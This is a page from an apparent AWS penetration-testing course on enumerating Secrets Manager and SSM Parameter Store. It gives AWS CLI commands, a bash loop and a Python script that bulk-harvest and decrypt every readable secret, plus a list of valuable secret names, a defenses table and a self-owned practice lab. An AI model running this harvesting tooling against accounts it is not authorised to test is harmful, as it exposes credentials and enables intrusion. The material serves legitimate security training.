> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/05-secrets.md).

# Module 05 — Secrets Manager & SSM Parameter Store Enumeration

## 🎯 What You'll Learn

* How to enumerate AWS Secrets Manager and SSM Parameter Store
* How to extract stored credentials, API keys, and passwords
* How to identify which secrets are accessible with your current permissions
* How to automate secrets harvesting

***

## 📖 Theory

AWS provides two main secret storage services:

**Secrets Manager** → stores database passwords, API keys, OAuth tokens. Supports auto-rotation. Costs \~$0.40/secret/month.

**SSM Parameter Store** → stores config values and secrets. SecureString params are encrypted with KMS. Free (standard tier).

Both are commonly used to avoid hardcoding credentials in code — but if an IAM identity has access to read them, you get all those secrets instantly.

***

## 🔍 Phase 1 — Secrets Manager Enumeration

```bash
# List all secrets (just names/ARNs, no values yet)
aws secretsmanager list-secrets \
  --profile pentest \
  --region us-east-1

# Example output shows secret names like:
# prod/db/password
# prod/stripe/api-key
# dev/admin-credentials

# Get the value of a specific secret
aws secretsmanager get-secret-value \
  --secret-id prod/db/password \
  --profile pentest \
  --region us-east-1

# Get secret by ARN
aws secretsmanager get-secret-value \
  --secret-id arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/db/password-AbCdEf \
  --profile pentest

# Get all metadata about a secret (rotation config, tags, etc.)
aws secretsmanager describe-secret \
  --secret-id prod/db/password \
  --profile pentest

# List previous versions (rotation may have kept old creds!)
aws secretsmanager list-secret-version-ids \
  --secret-id prod/db/password \
  --profile pentest

# Retrieve a previous version (may still be valid!)
aws secretsmanager get-secret-value \
  --secret-id prod/db/password \
  --version-stage AWSPREVIOUS \
  --profile pentest
```

***

## 🔍 Phase 2 — SSM Parameter Store Enumeration

```bash
# List all parameters
aws ssm describe-parameters \
  --profile pentest \
  --region us-east-1

# Get a specific parameter value
aws ssm get-parameter \
  --name /prod/database/password \
  --profile pentest

# Get a SecureString (encrypted) parameter — with decryption
aws ssm get-parameter \
  --name /prod/database/password \
  --with-decryption \
  --profile pentest

# Get multiple parameters at once
aws ssm get-parameters \
  --names /prod/db/password /prod/api/key /prod/admin/token \
  --with-decryption \
  --profile pentest

# Get ALL parameters by path (recursive!)
aws ssm get-parameters-by-path \
  --path "/" \
  --recursive \
  --with-decryption \
  --profile pentest

# Get all params under a specific path
aws ssm get-parameters-by-path \
  --path "/prod" \
  --recursive \
  --with-decryption \
  --profile pentest
```

***

## 🤖 Phase 3 — Automate Secrets Harvesting

### Bash one-liner — dump all Secrets Manager secrets

```bash
# List all secret names, then get each value
aws secretsmanager list-secrets \
  --profile pentest \
  --query 'SecretList[].Name' \
  --output text | tr '\t' '\n' | while read secret; do
    echo "=== $secret ==="
    aws secretsmanager get-secret-value \
      --secret-id "$secret" \
      --profile pentest \
      --query 'SecretString' \
      --output text 2>/dev/null
    echo ""
done
```

### Bash one-liner — dump all SSM parameters

```bash
aws ssm get-parameters-by-path \
  --path "/" \
  --recursive \
  --with-decryption \
  --profile pentest \
  --query 'Parameters[*].{Name:Name,Value:Value}' \
  --output table
```

### Python script — harvest all secrets to file

```python
#!/usr/bin/env python3
# Usage: python3 harvest_secrets.py --profile pentest --region us-east-1

import boto3
import json
import argparse

def harvest_secrets(profile, region):
    session = boto3.Session(profile_name=profile, region_name=region)
    
    # --- Secrets Manager ---
    print("[*] Harvesting Secrets Manager...")
    sm = session.client('secretsmanager')
    
    try:
        paginator = sm.get_paginator('list_secrets')
        for page in paginator.paginate():
            for secret in page['SecretList']:
                name = secret['Name']
                try:
                    value = sm.get_secret_value(SecretId=name)
                    print(f"[+] {name}: {value.get('SecretString', '<binary>')}")
                except Exception as e:
                    print(f"[-] {name}: Access denied — {e}")
    except Exception as e:
        print(f"[-] Secrets Manager enumeration failed: {e}")
    
    # --- SSM Parameter Store ---
    print("\n[*] Harvesting SSM Parameter Store...")
    ssm = session.client('ssm')
    
    try:
        paginator = ssm.get_paginator('get_parameters_by_path')
        for page in paginator.paginate(Path='/', Recursive=True, WithDecryption=True):
            for param in page['Parameters']:
                print(f"[+] {param['Name']}: {param['Value']}")
    except Exception as e:
        print(f"[-] SSM enumeration failed: {e}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--profile', required=True)
    parser.add_argument('--region', default='us-east-1')
    args = parser.parse_args()
    harvest_secrets(args.profile, args.region)
```

***

## 🔍 Phase 4 — Check Resource Policies

Some secrets have resource-based policies controlling who can access them:

```bash
# Check if a secret has a resource policy
aws secretsmanager get-resource-policy \
  --secret-id prod/db/password \
  --profile pentest

# Check KMS key policy (controls who can decrypt SecureString SSM params)
aws kms list-keys --profile pentest
aws kms get-key-policy \
  --key-id arn:aws:kms:us-east-1:123456789012:key/xxxxx \
  --policy-name default \
  --profile pentest
```

***

## 🔑 What Secrets to Look For

```
Common naming patterns:
/prod/db/password             → database credentials
/prod/rds/master-password     → RDS root password
/app/stripe/secret-key        → payment API keys
/app/sendgrid/api-key         → email service creds
/infra/github/token           → CI/CD pipeline tokens
/admin/ssh/private-key        → SSH keys
prod/okta/client-secret       → SSO credentials
GITHUB_TOKEN, SLACK_TOKEN     → integration tokens
```

***

## 🛡️ Defenses

| Attack               | Defense                                                                |
| -------------------- | ---------------------------------------------------------------------- |
| List all secrets     | Restrict `secretsmanager:ListSecrets` — use resource-level permissions |
| Get secret values    | Least-privilege: only allow `GetSecretValue` for specific secret ARNs  |
| SSM bulk read        | Deny `ssm:GetParametersByPath` on `/` path                             |
| Reading old versions | Immediately delete old secret versions after rotation                  |

***

## 🤖 Using Pacu

```bash
python3 pacu.py

run secretsmanager__enum    # enumerate and dump Secrets Manager
run ssm__param_enum         # enumerate SSM parameters
```

***

## 🧪 Practice Lab

CloudGoat scenario: `secrets_in_the_cloud` (custom — use your own AWS account with a test secret)

```bash
# Create a test secret in your own account
aws secretsmanager create-secret \
  --name test/my-secret \
  --secret-string '{"username":"admin","password":"supersecret123"}' \
  --profile my-personal-account

# Now practice enumerating and retrieving it
```

***

## 📎 References

* [HackTricks AWS Secrets](https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-secretsmanager-attack)
* [Pacu SecretManager Module](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details)
